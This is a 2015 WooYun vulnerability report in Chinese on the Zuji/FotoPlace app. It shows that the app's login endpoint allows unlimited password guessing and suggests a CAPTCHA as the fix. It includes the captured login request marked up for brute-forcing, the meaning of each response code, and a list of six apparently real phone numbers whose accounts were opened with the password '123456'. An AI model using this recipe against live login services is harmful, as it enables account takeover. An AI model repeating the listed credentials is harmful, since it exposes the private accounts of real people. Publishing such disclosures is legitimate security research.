当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104790

漏洞标题：足记设计不当可导致撞库（有案例）

相关厂商：足记APP

漏洞作者： 路人甲

提交时间：2015-03-30 17:08

修复时间：2015-04-04 17:10

公开时间：2015-04-04 17:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-30： 细节已通知厂商并且等待厂商处理中
2015-04-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

足记设计不当可导致撞库（有案例）

详细说明：

登录足记APP抓包

POST /api2/user/user_login.php HTTP/1.1
Host: fotoplace.cc
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Proxy-Connection: keep-alive
Cookie: cookie_tempuid=192.168.100.614276978152102369752
User-Agent: FotoPlace/2.1.8.1 (iPhone; iOS 8.1.1; Scale/2.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 66
OSType=iOS8.1.1&emailphone=§13311390001§&password=123456&version=2.3

漏洞证明：

导入手机段，开始爆破

31.png


880表示成功，311表示未注册，305表示注册但是密码不对
贴出爆破成功用户

15874040038  123456
15874040053  123456
15874040075  123456
15874040094  123456
15874040168  123456
15874040288  123456

修复方案：

验证码

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-04 17:10

厂商回复：

最新状态：

2015-04-04：已经确认,正在修复中.谢谢.